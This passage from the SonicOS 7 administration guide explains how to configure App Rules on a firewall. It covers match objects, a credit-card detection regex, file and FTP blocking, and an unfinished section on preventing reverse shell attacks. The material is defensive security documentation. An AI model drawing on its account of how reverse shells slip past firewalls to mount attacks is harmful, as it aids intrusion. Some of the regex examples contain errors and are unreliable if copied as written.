Application signature updates and signature updates for other Security Services are periodically downloaded to the firewall as long as these services are licensed.
NOTE: If you disable App Control in the SonicOS management interface, application signature updates are discontinued until the feature is enabled again.
When High Availability is configured between two firewalls, the firewalls can share the Security Services license. To use this feature, you must register the firewalls on MySonicWall as Associated Products. Both appliances must be the same SonicWall network security appliance model.
For a High Availability pair, even if you first register your appliances on MySonicWall, you must individually register both the Primary and the Secondary appliances from the SonicOS management interface while logged into the individual management IP address of each appliance. This allows the Secondary unit to synchronize with the firewall license server and share licenses with the associated Primary appliance. When Internet access is restricted, you can manually apply the shared licenses to both appliances.
SonicOS 7 Rules and Policies Administration Guide 102 App Rules
Terminology
Application layer: The seventh level of the 7-layer OSI model; examples of application layer protocols are AIM, DNS, FTP, HTTP, IMAP, MSN Messenger, POP3, SMTP, SNMP, TELNET, and Yahoo Messenger Bandwidth management: The process of measuring and controlling the traffic on a network link to avoid network congestion and poor performance of the network Client: Typically, the client (in a client-server architecture) is an application that runs on a personal computer or workstation, and relies on a server to perform some operations Digital rights management: Technology used by publishers or copyright owners to control access to and usage of digital data FTP: File Transfer Protocol, a protocol for exchanging files over the Internet Gateway: A computer that serves as an entry point for a network; often acts as a firewall or a proxy server Granular control: The ability to control separate components of a system Hexadecimal: Refers to the base-16 number system HTTP: Hyper Text Transfer Protocol, the underlying protocol used by the World Wide Web HTTP redirection: Also known as URL redirection, a technique on the Web for making a Web page available under many URLs IPS: Intrusion Prevention Service MIME: Multipurpose Internet Mail Extensions, a specification for formatting non-ASCII messages such as graphics, audio, or video, so that they can be sent over the internet POP3: Post Office Protocol, a protocol used to retrieve email from a mail server; can be used with or without SMTP Proxy: A computer that operates a network service that allows clients to make indirect network connections to other network services SMTP: Simple Mail Transfer Protocol, a protocol used for sending email messages between servers UDP: User Datagram Protocol, a connectionless protocol that runs on top of IP networks
Rules and Policies > App Rules
You must enable application control before you can use App Rules policies, although you can create policies without enabling the feature. Application control is enabled with a global setting, and must also be enabled on each network zone that you want to control.
SonicOS 7 Rules and Policies Administration Guide 103 App Rules
NOTE: For any of the listed access rules, when the Enabled checkbox is selected from the POLICY | Rules and Policies > Access Rules page, then the dpi=1 Syslog tag is seen in Connection Closed Syslog messages for all traffic that passed through Deep Packet Inspection. Traffic that did not pass through DPI shows dpi=0 in the Connection Closed Syslog messages. For more information about the Index of Syslog Tags Field Descriptions and Syslog examples showing the SPI tag, see the SonicOS Log Events Administration Guide. You can configure application control policies by using the App Rule wizard or manually on the POLICY | Rules and Policies > App Rules page. The wizard provides a safe method of configuration and helps prevent errors that could result in unnecessary blocking of network traffic. Manual configuration offers more flexibility for situations that require custom actions or policies. App Rules policies require a match object (or application list object) and an action object. You can configure match objects on the OBJECT | Match Objects > Match Objects pages. You also configure application list objects on the OBJECT | Match Objects > Match Objectspages. When creating an application list object, you choose from the same application categories, signatures, or specific applications that are shown on the POLICY | Rules and Policies > App Control page. Action objects are created on the OBJECT | Action Objects pages. By comparison, you can configure application control global blocking or logging settings on the POLICY | Rules and Policies > App Control page. No match objects or action objects are required. For information about configuring App Rules policies and the objects used in them, see the following topics: l Configuring an App Rules Policy l Using the App Rule Wizard l Verifying App Rules Configuration l App Rules Use Cases
Configuring an App Rules Policy
When you have created the necessary match object and action object, you are ready to create a policy that uses them. For information about using the App Control Wizard to create a policy, see Using the App Rule Wizard. For information about policies and policy types, see About App Rules Policy Creation.
NOTE: Policies configured through the POLICY | Rules and Policies > App Control page take precedence over those configured through the POLICY | Rules and Policies > App Rules page.
To configure an App Rules policy: 1. Navigate to the POLICY | Rules and Policies > App Rules page.
2. At the top of the page, click +Add Rule. The Add App Rule dialog displays.
SonicOS 7 Rules and Policies Administration Guide 104 App Rules
3. Enter a descriptive name into the Policy Name field. 4. Select a Policy Type from the drop-down menu. Your selection here affects options available in the
dialog. For information about available policy types, see About App Rules Policy Creation. 5. Select a source and destination Address Group or Address Object from the Address drop-down
menus. Only a single Address field is available for IPS Content, App Control Content, or CFS policy types. 6. Select the source or destination service from the Service drop-down menus. Some policy types do not provide a choice of service. 7. For Exclusion Address, optionally select an Address Group or Address Object from the drop-down menu. This address is not affected by the policy. 8. For Match Object, select a match object from the drop-down menu containing the defined match objects applicable to the policy type. When the policy type is HTTP Client, you can optionally select an Excluded Match Object. The excluded match object provides the ability to differentiate subdomains in the policy. For example, if you wanted to allow news.yahoo.com, but block all other yahoo.com sites, you would create match objects for both yahoo.com and news.yahoo.com. You would then create a policy blocking Match Object yahoo.com and set Excluded Match Object to news.yahoo.com.
NOTE: The Excluded Match Object does not take effect when the match object type is set to Custom Object. Custom Objects cannot be selected as the Excluded Match Object 9. For Action Object, select an action from the drop-down menu containing actions applicable to the policy type. The available objects include predefined actions plus any customized actions which are applicable. The default for all policy types is Reset/Drop. TIP: For a log-only policy, select No Action. 10. For Users/Groups, select from the drop-down menus for both Included and Excluded. The selected users or group under Excluded are not affected by the policy. 11. If the policy type is SMTP Client, select from the drop-down menus for MAIL FROM and RCPT TO, for both Included and Excluded. The selected users or group under Excluded are not affected by the policy. 12. For Schedule, select from the drop-down menu, which contains a variety of schedules for the policy to be in effect.
SonicOS 7 Rules and Policies Administration Guide 105 App Rules
Specifying a schedule other than the default, Always On, turns on the rule only during the scheduled time. For example, specifying Work Hours for a policy to block access to non-business sites allows access to non-business sites during non-business hours. 13. If you want the policy to create a log entry when a match is found, select Enable Logging. 14. To record more details in the log, select Log individual object content. 15. If the policy type is IPS Content, select Log using IPS message format to display the category in the log entry as Intrusion Prevention rather than Application Control, and to use a prefix such as IPS Detection Alert in the log message rather than Application Control Alert. This is useful if you want to use log filters to search for IPS alerts. 16. If the policy type is App Control Content, select Log using App Control message format to display the category in the log entry as Application Control, and to use a prefix such as Application Control Detection Alert in the log message. This is useful if you want to use log filters to search for application control alerts. 17. For Log Redundancy Filter, you can either select Global Settings to use the global value set on the POLICY | Rules and Policies > App Control page, or you can enter a number of seconds to delay between each log entry for this policy. The local setting overrides the global setting only for this policy; other policies are not affected. 18. For Connection Side, select from the drop-down menu. The available choices depend on the policy type and can include Client Side, Server Side, or Both, referring to the side where the traffic originates. IPS Content or App Control Content policy types do not provide this configuration option. 19. For Direction, click either Basic or Advanced and select a direction from the drop-down menu. Basic allows you to select incoming, outgoing, or both. Advanced allows you to select between zones, such as LAN to WAN. IPS Content or App Control Content policy types do not provide this configuration option. 20. If the policy type is IPS Content or App Control Content, select a zone from the Zone drop-down menu. The policy will be applied to this zone. 21. Click OK.
Using the App Rule Wizard
The App Rule wizard provides safe configuration of App Rules policies for many common use cases, but not for everything. If at any time during the wizard you are unable to find the options that you need, you can click Cancel and proceed using manual configuration. When configuring manually, you must remember to configure all components, including match objects, actions, email address objects if required, and finally, a policy that references them. For the:
l App Rule wizard, see Using the App Rule Guide (Wizard) in the SonicOS Quick Configuration technical documentation.
l Manual policy creation procedure, see Configuring an App Rules Policy.
Verifying App Rules Configuration
To verify your policy configuration, you can send some traffic that should match your policy. You can use a network protocol analyzer such as WiresharkTM to view the packets. For information about using Wireshark, see Wireshark.
SonicOS 7 Rules and Policies Administration Guide 106 App Rules
Be sure to test for both included and excluded users and groups. You should also run tests according to the schedule that you configured, to determine that the policy is in effect when you want it to be. Check for log entries in the MONITOR | Logs > System Logs page in the SonicOS management interface. You can view tooltips on the POLICY | Rules and Policies > App Rules page when you hover your cursor over each policy. The tooltips show details of the match objects and actions for the policy. Also, the bottom of the page shows the number of policies defined.
Useful Tools
This describes two software tools that can help you use App Rules to the fullest extent. The following tools are described:
l Wireshark l Hex Editor
Wireshark
Wireshark is a network protocol analyzer that you can use to capture packets from applications on your network. You can examine the packets to determine the unique identifier for an application, which you can use to create a match object for use in an App Rules policy. Wireshark is freely available at: http://www.wireshark.org The process of finding the unique identifier or signature of a Web browser is illustrated in the following packet capture sequence.
1. In Wireshark, click Capture > Interfaces to view your local network interfaces. 2. In the Capture Interfaces dialog, click Capture to start a capture on your main network interface:
SonicOS 7 Rules and Policies Administration Guide 107 App Rules
As soon as the capture begins, start the browser and then stop the capture. In this example, Firefox is started. 3. In the captured output, locate and click the HTTP GET command in the top pane, and view the source for it in the center pane. In the source code, locate the line beginning with User-Agent.
SonicOS 7 Rules and Policies Administration Guide 108 App Rules
4. Scroll to the right to find the unique identifier for the browser. In this case, it is Firefox/1.5.0.7.
5. Type the identifier into the Content text field in the Match Objects Settings window. 6. Click OK to create a match object that you can use in a policy.
Hex Editor
You can use a hexadecimal (hex) editor to view the hex representation of a file or a graphic image. One such hex editor is XVI32, developed by Christian Maas and available at no cost at the following URL: http://www.chmaas.handshake.de/delphi/freeware/xvi32/xvi32.htm For example, if there is a certain graphic contained within all confidential company documents, you could use the hex editor to obtain a unique identifier for the graphic, and then use the identifying hex string to create a match object. You could reference the match object in a policy that blocks the transfer of files with content matching that graphic.
SonicOS 7 Rules and Policies Administration Guide 109 App Rules
To create a match object for a graphic using the SonicWall graphic as an example:
1. Start XVI32 and click File > Open to open the graphic image GIF file.
2. In the left pane, mark the first 50 hex character block by selecting Edit > Block <n> chars... and then select the decimal option and type 50 in the space provided. This will mark the first 50 characters in the file, which is sufficient to generate a unique thumbprint for use in a custom match object. Alternatively you can mark the block by using the following sequence: l Click on the first character (#0). l Press Ctrl+B. l Click on the character in position #49. l Press Ctrl+B. To locate the character in position #49, click on a character in the right pane (the text pane) and then look at the bottom left corner for the decimal address. Try different characters until it shows Adr. dec: 49. NOTE: You must click on the corresponding location in the left pane before you press Ctrl+B to mark the block. When the block is marked, it changes to red font. To unmark a block of characters, press Ctrl+U.
SonicOS 7 Rules and Policies Administration Guide 110 App Rules
3. After you mark the block, click Edit > Clipboard > Copy As Hex String. 4. In a multi-featured text editor, press Ctrl+V to paste the selection and then press Enter to end the
line. This intermediary step is necessary to allow you to remove spaces from the hex string. 5. In the text editor, click Search > Replace to bring up the Replace dialog box. In the Replace dialog box, type a space into the Find text box and leave the Replace text box empty. Click Replace All. The hex string now has 50 hex characters with no spaces between them. 6. Double-click the hex string to select it, then press Ctrl+C to copy it to the clipboard. 7. In the SonicOS user interface, navigate to Objects > Match Objects and click Add Match Object. 8. In the Match Object Settings dialog, type a descriptive name into the Object Name field. 9. In the Match Object Type drop-down menu, select Custom Object. 10. For Input Representation, click Hexadecimal. 11. In the Content field, press Ctrl+V to paste the contents of the clipboard. 12. Click Add. 13. Click OK. You now have a Match Object containing a unique identifier for the image. You can create an App Rules policy to block or log traffic that contains the image matched by this Match Object. For information about creating a policy, see Configuring an App Rules Policy.
App Rules Use Cases
App Rules provides the functionality to handle several types of access control very efficiently. The following use cases are presented in this section:
l Creating a Regular Expression in a Match Object l Policy-Based Application Rules l Logging Application Signature-Based Policies
SonicOS 7 Rules and Policies Administration Guide 111 App Rules
l Compliance Enforcement l Server Protection l Hosted Email Environments l Email Control l Web Browser Control l HTTP Post Control l Forbidden File Type Control l ActiveX Control l FTP Control l Bandwidth Management l Bypass DPI l Custom Signature l Reverse Shell Exploit Prevention
Creating a Regular Expression in a Match Object
Predefined regular expressions can be selected during configuration, or you can configure a custom regular expression. This use case describes how to create a Regex Match object for a credit card number, while illustrating some common errors. For example, a user creates a Regex Match object for a credit card number, with the following inefficient and also slightly erroneous construction:
[1-9][0-9]{3} ?[0-9]{4} ?[0-9]{4} ?[0-9]{4}
Using this object, the user attempts to build a policy. After the user clicks OK, the appliance displays a "Please wait..." message, but the management session is unresponsive for a very long time and the regular expression might eventually be rejected. This behavior occurs because, in custom object and file content match objects, regular expressions are implicitly prefixed with a dot asterisk (.*). A dot matches any of the 256 ASCII characters except `\n'. This fact, the match object type used, and the nature of the regular expression in combination causes the control plane to take a long time to compile the required data structures. The fix for this is to prefix the regular expression with a '\D'. This means that the credit card number is preceded by a non-digit character, which actually makes the regular expression more accurate. Additionally, the regular expression shown above does not accurately represent the intended credit card number. The regular expression in its current form can match several false positives, such as 1234 12341234 1234. A more accurate representation is the following:
\D[1-9][0-9]{3} [0-9]{4} [0-9]{4} [0-9]{4}
or
\D[1-9][0-9]{3}[0-9]{4}[0-9]{4}[0-9]{4}
which can be written more concisely as:
\D\z\d{3}( \d{4}){3}
SonicOS 7 Rules and Policies Administration Guide 112 App Rules
or \D\z\d{3}(\d{4}){3}
respectively. These can be written as two regular expressions within one match object or can be further compressed into one regular expression such as:
\D\z\d{3}(( \d{4}){3}|(\d{12})) You can also capture credit card numbers with digits separated by a '-' with the following regular expression:
\D\z\d{3}(( \d{4}){3}|(-\d{4}){3}|(\d{12})) The preceding `\D' should be included in all of these regular expressions.
Policy-based Application Rules
The SonicWall application signature databases are part of the application control feature, allowing very granular control over policy configuration and actions relating to them. These signature databases are used to protect users from application vulnerabilities as well as worms, Trojans, peer-to-peer transfers, spyware and backdoor exploits. The extensible signature language used in the SonicWall Reassembly-Free Deep Packet Inspection engine also provides proactive defense against newly discovered application and protocol vulnerabilities. To create an App Rules policy:
1. Navigate to the OBJECT | Match Objects page. 2. Click + Add. The Match Object Settings dialog opens. 3. In the Match Object Settings dialog, create a match object of type Application List. 4. Example Custom Match Object Targeting an Application shows a custom match object targeted at
LimeWire and Kazaa Peer to Peer sharing applications.
EXAMPLE CUSTOM MATCH OBJECT TARGETING AN APPLICATION
SonicOS 7 Rules and Policies Administration Guide 113 App Rules
After creating an application-based match object, create a new App Rules policy of type App Control Content that uses the match object. Example: App Control Policy for Targeting Match Object shows a policy that uses the newly created "Kazaa/LimeWire P2P" match object to drop all Napster and LimeWire traffic.
EXAMPLE: APP CONTROL POLICY FOR TARGETING MATCH OBJECT
Logging Application Signature-based Policies
As with other match object policy types, logging can be enabled on application content policies. By default, these logs are displayed in the standard format, showing the App Rules policy that triggered the alert/action; see Standard Logging. To obtain more detail about the log event, select the Log using App Control message format checkbox in the Add App Rule dialog for that policy; see App Control-formatted Logging.
STANDARD LOGGING
APP CONTROL-FORMATTED LOGGING
Compliance Enforcement
Many businesses and organizations need to ensure compliance with their policies regarding outbound file transfer. App Rules provides this functionality in HTTP, FTP, POP3, and SMTP contexts. This can help companies meet regulatory requirements such as HIPAA, SOX, and PCI. When you configure the policy or policies for this purpose, you can select Direction > Basic > Outgoing to specifically apply your file transfer restrictions to outbound traffic. Or, you can select Direction > Advanced and then specify the exact zones between which to prevent file transfer. For example, you can specify LAN to WAN, LAN to DMZ, or any other zones that you have defined.
SonicOS 7 Rules and Policies Administration Guide 114 App Rules
Server Protection
Servers are typically accessed by many untrusted clients. For best protection of these valuable resources, you should have multiple lines of defense. With App Rules on your gateway, you can configure policies to protect your servers. For example, you can create a policy that blocks all FTP put commands to prevent anyone from writing a file to a server (see Blocking FTP Commands). Even though the server itself might be configured as read-only, this adds a layer of security that is controlled by the firewall administrator. Your server is still protected even when its configuration is changed by an error, a side-effect of a patch, or by someone with malicious intent. With App Rules, you can effectively control content upload for servers using HTTP, SMTP, POP3, and FTP.
An example of policies that affect servers might be a small ISP providing three levels of service to its customers, whose servers are sitting in its rack. At the gold level, a customer can host a Web server, Email server, and FTP server. At the silver level, a customer can host only a Web server and Email server. At the bronze level, the hosting package only allows a Web server. The ISP could use App Rules to enforce these restrictions, by creating a policy for each customer.
Hosted Email Environments
A hosted email environment is one in which email is available on a user's Internet Service Provider (ISP). Typically, POP3 is the protocol used for email transfer in this environment. Many small-business owners use this model, and would like to control email content as well as email attachments. Running App Rules on the gateway provides a solution for controlling POP3-based as well as SMTP-based email.
App Rules policies can also scan HTTP, which is useful for email hosted by sites such as Yahoo or Gmail. Note that when an attachment is blocked while using HTTP, App Rules does not provide the file name of the blocked file. You can also use App Rules to control FTP when accessing database servers.
If you want a dedicated SMTP solution, you can use SonicWall Email Security. Email Security is used by many larger businesses for controlling SMTP-based email, but it does not support POP3. For controlling multiple email protocols, App Rules provides an excellent solution.
Email Control
App Rules can be very effective for certain types of email control, especially when a blanket policy is desired. For example, you can prevent sending attachments of a given type, such as .exe, on a per-user basis, or for an entire domain. Because the file name extension is being matched in this case, changing the extension before sending the attachment will bypass filtering. Note that you can also prevent attachments in this way on your email server if you have one. If not, then App Rules provides the functionality.
You can create a match object that scans for file content matching strings, such as confidential, internal use only, and proprietary, to implement basic controls over the transfer of proprietary data.
You can also create a policy that prevents email to or from a specific domain or a specific user. You can use App Rules to limit email file size, but not to limit the number of attachments. App Rules can block files based on MIME type. It cannot block encrypted SSL or TLS traffic, nor can it block all encrypted files. To block encrypted email from a site that is using HTTPS, you can create a custom match object that matches the
SonicOS 7 Rules and Policies Administration Guide 115 App Rules
certificate sent before the HTTPS session begins. This is part of the SSL session before it gets encrypted. Then you would create a custom policy that blocks that certificate.
App Rules can scan email attachments that are text-based or are compressed to one level, but not encrypted. The following table lists file formats that App Rules can scan for keywords. Other formats should be tested before you use them in a policy.
FILE FORMATS THAT CAN BE SCANNED FOR KEYWORDS
File Type
Common Extension
C source code C+ source code Comma-separated values HQX archives HTML Lotus 1-2-3 Microsoft Access Microsoft Excel Microsoft PowerPoint Microsoft Visio Microsoft Visual Basic Microsoft Word Microsoft Works Portable Document Format Rich Text Format SIT archives Text files WordPerfect XML Tar archives ("tarballs") ZIP archives
c cpp csv hqx htm wks mdb xls ppt vsd vbp doc wps pdf rft sit txt wpd xml tar zip, gzip
Web Browser Control
You can also use App Rules to protect your Web servers from undesirable browsers. App Rules supplies match object types for Netscape, MSIE, Firefox, Safari, and Chrome. You can define a match object using one of these types, and reference it in a policy to block that browser.
You can also access browser version information by using an HTTP User Agent match object type. For example, older versions of various browsers can be susceptible to security problems. Using App Rules, you can create a policy that denies access by any problematic browser, such as Internet Explorer 9. You can also use negative matching to exclude all browsers except the one(s) you want. For example, you might want to allow Internet Explorer version 10 only, because of flaws in version 9, and because you have not yet tested version 11. To do this, you would use a network protocol analyzer such as Wireshark to determine the Web
SonicOS 7 Rules and Policies Administration Guide 116 App Rules
browser identifier for IEv6, which is "MSIE 10." Then you could create a custom match object of type HTTP User Agent, with content "MSIE 10" and enable negative matching. Navigate to OBJECT | Match Objects to configure these settings.
You can use this match object in a policy to block browsers that are not MSIE 10. For information about using Wireshark to find a Web browser identifier, see Wireshark. For information about negative matching, see About Negative Matching. Another example of a use case for controlling Web browser access is a small e-commerce site that is selling discounted goods that are salvaged from an overseas source. If the terms of their agreement with the supplier is that they cannot sell to citizens of the source nation, they could configure App Rules to block access by the in-country versions of the major Web browsers. App Rules supports a predefined selection of well-known browsers, and you can add others as custom match objects. Browser blocking is based on the HTTP User Agent reported by the browser. Your custom match object must contain content specific enough to identify the browser without creating false positives. You can use Wireshark or another network protocol analyzer to obtain a unique signature for the desired browser.
HTTP Post Control
You can enhance the security of public facing read-only HTTP servers by disallowing the HTTP POST method. To disallow the HTTP POST:
1. Use Notepad or another text editor to create a new document called Post.htm that contains this HTML code: <FORM action="http://www.yahoo.com/" method="post"> <p>Please enter your name: <input type="Text" name="FullName"></p>
SonicOS 7 Rules and Policies Administration Guide 117 App Rules
<input type="submit" value="Submit"> <INPUT type="reset"> 2. Save the file to your desktop or a convenient location. 3. Open the Wireshark network analyzer and start a capture. For information about using Wireshark,
see Wireshark. 4. In a browser, open the Post.htm file you just created. 5. Enter your name. 6. Click Submit. Stop the capture. 7. Use the Wireshark Edit > Find Packet function to search for the string POST.
Wireshark jumps to the first frame that contains the requested data. You should see something like Wireshark Display. This indicates that the HTTP POST method is transmitted immediately after the TCP header information and comprises the first four bytes (504f5354) of the TCP payload (HTTP application layer). You can use that information to create a custom match object that detects the HTTP POST method.
WIRESHARK DISPLAY
8. In SonicOS, navigate to OBJECT | Match Objects > Custom Match. 9. Click +Add. 10. Create a custom match object like this:
SonicOS 7 Rules and Policies Administration Guide 118 App Rules
In this particular match object you would use the Enable Settings option to create an object that matches a specific part of the payload. The Offset field specifies which byte in the payload to begin matching and helps to minimize false positives by making the match more specific. The Depth field specifies at what byte to stop matching. The Min and Max fields allow you to specify a minimum and maximum payload size. 11. Navigate to POLICY | Rules and Policies > App Rules. 12. Click +Add Rule. 13. Create a policy like this:
14. To test, use a browser to open the Post.htm file you created earlier. 15. Type in your name. 16. Click Submit. The connection should be dropped this time, and you should see an alert in the log
SonicOS 7 Rules and Policies Administration Guide 119 App Rules
similar to this one:
Forbidden File Type Control
You can use App Rules to prevent risky or forbidden file types (for example, exe, vbs, scr, dll, avi, mov) from being uploaded or downloaded. To prevent risky or forbidden file types from being uploaded or downloaded:
1. Navigate to OBJECT | Match Objects > Match Objects. 2. Click +Add. 3. Create an object like this one:
4. Navigate to OBJECT | Action Objects > App Rule Actions. 5. Click +Add.
SonicOS 7 Rules and Policies Administration Guide 120 App Rules
6. Create an action like this one.
To create a policy that uses this object and action: 1. Navigate to POLICY | Rules and Policies > App Rules. 2. Click +Add Rule. 3. Create a policy like this one:
4. To test this policy, you can open a Web browser and try to download any of the file types specified in the match object (exe, vbs, scr). Here are a few URLs that you can try: http://download.skype.com/SkypeSetup.exe http://us.dl1.yimg.com/download.yahoo.com/dl/msgr8/us/msgr8us.exe http://g.msn.com/8reen_us/EN/INSTALL_MSN_MESSENGER_DL.EXE You will see an alert similar to this one:
SonicOS 7 Rules and Policies Administration Guide 121 App Rules
ActiveX Control
One of the most useful capabilities of App Rules is the ability to distinguish between different types of ActiveX or Flash network traffic. This allows you to block games while permitting Windows updates. Prior to App Rules, you could configure SonicOS to block ActiveX with POLICY | Security Services > Content Filter, but this blocked all ActiveX controls, including your software updates.
App Rules achieves this distinction by scanning for the value of classid in the HTML source. Each type of ActiveX has its own class ID, and the class ID can change for different versions of the same application.
Some ActiveX types and their classid's are shown in ActiveX Types and Classids.
ACTIVEX TYPES AND CLASSIDS
ActiveX Type Apple Quicktime Macromedia Flash v6, v7 Macromedia Shockwave Microsoft Windows Media Player v6.4 Microsoft Windows Media Player v7-10 Real Networks Real Player Sun Java Web Start
Classid 02BF25D5-8C17-4B23-BC80-D3488ABDDC6B D27CDB6E-AE6D-11cf-96B8-444553540000 D27CDB6E-AE6D-11cf-96B8-444553540000 22d6f312-b0f6-11d0-94ab-0080c74c7e95 6BF52A52-394A-11d3-B153-00C04F79FAA6 CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA 5852F5ED-8BF4-11D4-A245-0080C6F74284
ActiveX Match Object shows an ActiveX type match object that is using the Macromedia Shockwave class ID. You can create a policy that uses this match object to block online games or other Shockwave-based content.
ACTIVEX MATCH OBJECT
SonicOS 7 Rules and Policies Administration Guide 122 App Rules
You can look up the class ID for these Active X controls on the Internet, or you can view the source in your browser to find it. For example, Example of source file with class ID shows a source file with the class ID for Macromedia Shockwave or Flash.
EXAMPLE OF SOURCE FILE WITH CLASS ID
FTP Control
App Rules provides control over the FTP control channel and FTP uploads and downloads with the FTP Command and File Content match object types. Using these, you can regulate FTP usage very effectively. The following two use cases are described in this section:
l Blocking Outbound Proprietary Files Over FTP l Blocking Outbound UTF-8 / UTF-16 Encoded Files l Blocking FTP Commands
Blocking Outbound Proprietary Files Over FTP
For example, to block outbound file transfers of proprietary files over FTP, you can create a policy based on keywords or patterns inside the files. To block outbound proprietary files:
1. Navigate to OBJECT | Match Objects > Match Objects. 2. Click +Add and create a match object of type File Content that matches on keywords in files.
SonicOS 7 Rules and Policies Administration Guide 123 App Rules
Optionally, you can create a customized FTP notification action that sends a message to the client. 3. Navigate to POLICY | Rules and Policies > App Rules. 4. Click +Add Rule and create a policy that references this match object and action. If you prefer to
simply block the file transfer and reset the connection, you can select the Reset/Drop action when you create the policy.
Blocking Outbound UTF-8 / UTF-16 Encoded Files
Native Unicode UTF-8 and UTF-16 support by App Rules allows encoded multi-byte characters, such as Chinese or Japanese characters, to be entered as match object content keywords using the alphanumeric input type. App Rules supports keyword matching of UTF-8 encoded content typically found in Web pages and email applications, and UTF-16 encoded content typically found in Windows OS/Microsoft Office-based documents. Blocking outbound file transfers of proprietary Unicode files over FTP is handled in the same way as blocking other confidential file transfers:
1. Create a match object that matches on UTF-8 or UTF-16 encoded keywords in files. 2. Create a policy that references the match object and blocks transfer of matching files.
SonicOS 7 Rules and Policies Administration Guide 124 App Rules
The example that follows uses a match object type of File Content with a UTF-16 encoded Chinese keyword that translates as "confidential document."
3. Create a policy that references the match object as follows. This policy blocks the file transfer and resets the connection. Enable Logging is selected so that any attempt to transfer a file containing the UTF-16 encoded keyword is logged.
A log entry is generated after a connection Reset/Drop. An example of a log entry is shown below, including the Message stating that it is an Application Control Alert, displaying the Policy name and the Action Type of Reset/Drop.
Blocking FTP Commands
You can use App Rules to ensure that your FTP server is read-only by blocking commands such as put, mput, rename_to, rename_from, rmdir, and mkdir. This use case shows a match object containing only the put command, but you could include all of these commands in the same match object.
SonicOS 7 Rules and Policies Administration Guide 125 App Rules
To block FTP commands: 1. Create a match object that matches on the put command. Because the mput command is a variation of the put command, a match object that matches on the put command is also matched on the mput command.
2. Optionally, you can create a customized FTP notification action that sends a message to the client; for example:
3. Create a policy that references this match object and action. If you prefer to simply block the put command and reset the connection, you can select the Reset/Drop action when you create the
SonicOS 7 Rules and Policies Administration Guide 126 App Rules
policy.
Bandwidth Management
You can use application layer bandwidth management to control the amount of network bandwidth that can be used to transfer certain file types. This allows you to discourage non-productive traffic and encourage productive traffic on your network. For example, you can limit the bandwidth used to download MP3 files over FTP to no more than 400 kilobits per second (kbps). Whether one user or 100 users are downloading MP3 files, this policy limits their aggregate bandwidth to 400 kbps. For information on configuring bandwidth management, see POLICY | Firewall > Bandwidth Management in the SonicOS technical documentation.
Bypass DPI
You can use the Bypass DPI action to increase performance over the network if you know that the content being accessed is safe. For example, this might be the case if your company has a corporate video that you want to stream to company employees over HTTP by having them access a URL on a Web server. As you know the content is safe, you can create an App Rules policy that applies the Bypass DPI action to every access of this video. This ensures the fastest streaming speeds and the best viewing quality for employees accessing the video.
SonicOS 7 Rules and Policies Administration Guide 127 App Rules
Only two steps are needed to create the policy: 1. Define a match object for the corporate video using a match object type of HTTP URI Content:
TIP: The leading slash (/) of the URL should always be included for Exact Match and Prefix Match types for URI Content match objects. You do not need to include the host header, such as www.company.com, in the Content field. 2. Create a policy that uses the Corporate Video match object, and also uses the Bypass DPI action:
Custom Signature
You can create a custom match object that matches any part of a packet if you want to control traffic that does not have a predefined object type in App Rules. This allows you to create a custom signature for any network protocol. For instance, you can create a custom signature to match HTTP GET request packets. You might use this if you want to prevent Web browsing from your local area network. To determine a unique identifier for a HTTP GET packet, you can use the Wireshark network protocol analyzer to view the packet header. For more information about using Wireshark, see Wireshark. In
SonicOS 7 Rules and Policies Administration Guide 128 App Rules
Wireshark, capture some packets that include the traffic you are interested in. In this case, you want to capture a HTTP GET request packet. You can use any Web browser to generate the HTTP GET request. HTTP GET Request Packet in Wireshark shows an HTTP GET request packet displayed by Wireshark.
HTTP GET REQUEST PACKET IN WIRESHARK
To crete a custom signature for a a network protocol: 1. In the top pane of Wireshark, scroll down to find the HTTP GET packet 2. Click on that line. The packet is displayed in the two lower panes. For a SYN packet, the center pane provides a human-readable interpretation of the packet header, and the actual header bytes are displayed in hexadecimal in the lower pane. 3. In the center pane, expand the Hypertext Transfer Protocol section to see the packet payload. 4. Find the identifier that you want to reference in App Rules. In this case, the identifier is the GET command in the first three bytes. 5. Click on the identifier to highlight the corresponding bytes in the lower pane. 6. You can determine the offset and the depth of the highlighted bytes in the lower pane. l Offset indicates which byte in the packet to start matching against. l Depth indicates the last byte to match. Using an offset allows very specific matching and minimizes false positives. Decimal numbers are used rather than hexadecimal to calculate offset and depth. NOTE: When you calculate offset and depth, the first byte in the packet is counted as number one (not zero).
SonicOS 7 Rules and Policies Administration Guide 129 App Rules
Offset and depth associated with a custom match object are calculated starting from the packet payload (the beginning of the TCP or UDP payload). In this case, the offset is 1 and the depth is 3. 7. Create a custom match object that uses this information.
8. In the Match Object Settings dialog, type a descriptive name for the object in the Object Name field.
9. Select Custom Object from the Match Object Type drop-down menu. 10. Select the Enable Settings checkbox. 11. In the Offset field, type 1 (the starting byte of the identifier). 12. In the Depth text box, type 3 (the last byte of the identifier). 13. You can leave the Payload Size set to the default. The Payload Size is used to indicate the amount
of data in the packet, but in this case we are only concerned with the packet header. 14. For Input Representation, click Hexadecimal. 15. In the Content text box, type the bytes as shown by Wireshark: 474554. Do not use spaces in
hexadecimal content. 16. Use this match object in an App Rules policy.
SonicOS 7 Rules and Policies Administration Guide 130 App Rules
a. In the App Control Policy Settings dialog, type a descriptive policy name. b. Select HTTP Client for the policy type. c. In the Match Object drop-down menu, select the match object that you just defined. d. Select a custom action or a default action such as Reset/Drop. e. For the Connection Side, select Client Side. f. You can also modify other settings. For more information about creating a policy, see
Configuring an App Rules Policy.
Reverse Shell Exploit Prevention
The reverse shell exploit is an attack that you can prevent by using the App Rules custom signature capability (see Custom Signature). A reverse shell exploit could be used by an attacker if he or she is successful in gaining access to your system by means of a Zero-day exploit. A Zero-day exploit refers to an attack whose signature is not yet recognized by security software.
In an early stage while still unknown, malicious payloads can pass through the first line of defense which is the IPS and Gateway Anti-Virus (GAV) running at the Internet gateway, and even the second line of defense represented by the host-based Anti-Virus software, allowing arbitrary code execution on the target system.
In many cases, the executed code contains the minimal amount of instructions needed for the attacker to remotely obtain a command prompt window (with the privileges of the exploited service or logged on user) and proceed with the penetration from there.
As a common means to circumvent NAT/firewall issues, which might prevent their ability to actively connect to an exploited system, attackers make the vulnerable system execute a reverse shell. In a reverse shell, the connection is initiated by the target host to the attacker address, using well-known TCP/UDP ports for better avoidance of strict outbound policies.
This use case is applicable to environments hosting Windows systems and intercepts unencrypted connections over all TCP/UDP ports.
NOTE: Networks using unencrypted Telnet service must configure policies that exclude those servers' IP addresses.
While this use case refers to the specific case of reverse shell payloads (outbound connections), it is more secure to configure the policy to be effective also for inbound connections. This protects against a case
SonicOS 7 Rules and Policies Administration Guide 131 App Rules
